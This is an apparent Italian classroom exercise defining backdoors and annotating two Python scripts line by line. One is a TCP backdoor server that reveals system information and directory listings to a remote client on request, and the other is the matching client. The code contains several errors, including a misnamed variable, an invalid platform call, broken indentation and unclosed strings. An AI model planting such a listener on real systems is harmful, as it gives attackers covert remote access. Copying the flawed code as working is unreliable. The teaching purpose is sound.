

Compito di oggi: spiegare cos' è una backdoor e perchè è pericolosa. Spiegare i codici qui sotto dicendo cosa fanno e qual è la differenza tra i due. Opzionale (consigliato) testare praticamente il codice.

Cosa è una backdoor?

Le backdoor sono delle porte di comunicazione "sul retro" che danno la possibilità ad un attaccante di accedere da remoto al sistema informatico della vittima, spesso le backdoor viaggiano su insieme ad altri dati e vengono installate all'insaputa dell'utente

```
import socket, platform, os #Importa i moduli socket, platform ed os
```

```
SRV_ADDR = "" #assegna una stringa vuota
```

```
SRV_PORT = 1234 #assegna 1234
```

```
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
#sta creando un socket di tipo stream orientato alla connessione (TCP).
```

```
s.bind((SRV_ADDR, SRV_PORT))
```

```
#viene utilizzata per associare il socket `s` a un indirizzo IP e una porta specifici.
```

```
s.listen(1)
```

```
#è utilizzato per mettere il socket `s` in modalità di ascolto per le connessioni in arrivo
```

```
connection, address = s.accept()
```

```
#viene utilizzata per accettare una connessione in arrivo su un socket in modalità di ascolto
```

```
while 1: #ciclo while
```

```
    try:
```

```
        data =connection.recv(1024) #viene utilizzato per ricevere dati da un socket
```

```
    except:continue #viene utilizzata per gestire tutte le eccezioni generiche
```

```
    if(data.decode('utf-8') == '1'): #Condizione
```

```
        tosend = platform.platform.platform() + " " + platform.machine()
```

```
#Questa operazione può essere utile per ottenere informazioni sulla piattaforma e sull'architettura del sistema su cui il programma è in esecuzione.
```

```
        connection.sendall(tosend.encode())
```

```
#utilizzata per inviare dati tramite una connessione socket
```

```
    elif(data.decode('utf-8') == '2'): #condizione
```

```
        data = connection.recv(1024) #Così invece riceviamo dati tramite la socket
```

```
    try:
```

```
        filelist = os.listdir(data.decode('utf-8'))
```

#la linea di codice sta cercando di ottenere la lista dei file nella directory specificata dai dati ricevuti dalla connessione

```
tosed = "" #assegna una stringa vuota alla variabile tosend
for x in filelist:
    tosend += "," + x
```

#sta concatenando ciascun elemento x della lista appartenente a filelist alla stringa tosend, separandoli con una virgola.

```
except:
    tosend = "Wrong path"
    connection.sendall(tosend.encode())
elif(data.decode('utf-8') == '0'):
    connection.close() #chiude la connessione
```

#viene utilizzata per inviare la stringa `tosend` attraverso la connessione socket

```
connection, address = s.accept()
```

import socket #Viene richiamato il modulo socket

SRV_ADDR = input("type the server Ip address: ") #Qui verrà salvato l'indirizzo Ip

SRV_PORT = int(input("Type the server port: ")) #Trattiene il numero di porta inserito

def print_menu(): #definiamo la funzione menù

```
    print("""\n\n0) close the Connection
```

```
1) Get system info
```

```
2) List directory contents""")
```

```
my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

#crea un nuovo oggetto socket configurato per utilizzare il protocollo IPv4 (AF_INET) e il tipo di socket di tipo stream (SOCK_STREAM), che è tipicamente associato al protocollo TCP.

```
my_sock.connect((SRV_ADDR, SRV_PORT))
```

#Creiamo un socket per una nuova connessione

```
print("Connection established") #Stampa a schermo
```

```
print_menu()
```

```
while 1:
```

```
    message = input("\n-Select an option: ")
```

#Raccoglie nella variabile message l'opzione selezionata

```
    if (message == "0"):
```

```
        my_sock.sendall(message.encode())
```

#questa linea di codice invia la stringa message al destinatario attraverso la connessione socket

```
        my_sock.close() #Chiusura del socket
```

```
        break
```

```
    elif(message == "1"):
```

```

    my_sock.sendall(message.encode())
#consente al client di connettersi a un server
    data = my_sock.recv(1024)
    if not data: break
    print(data.decode('utf-8')) #Stampa i dati ricevuti
    elif(message == "2"):
        path = input("Insert the path: ") #viene utilizzata per ottenere il path da input
        my_sock.sendall(message.encode())
#Invia la stringa `message` al destinatario attraverso la connessione socket
    my_sock.sendall(path.encode())
#questa linea di codice invia il percorso path attraverso la connessione socket.
    data = my_sock.recv(1024)
#riceve dati dalla connessione socket e li assegna alla variabile `data`
    data = data.decode('utf-8').split(",")
# Converte i dati rappresentati come byte (`data`) in una lista di stringhe, dividendo la stringa
risultante utilizzando la virgola come separatore
    print ("***40) #stampa
    for x in data
        print(x)
    print("***40)

```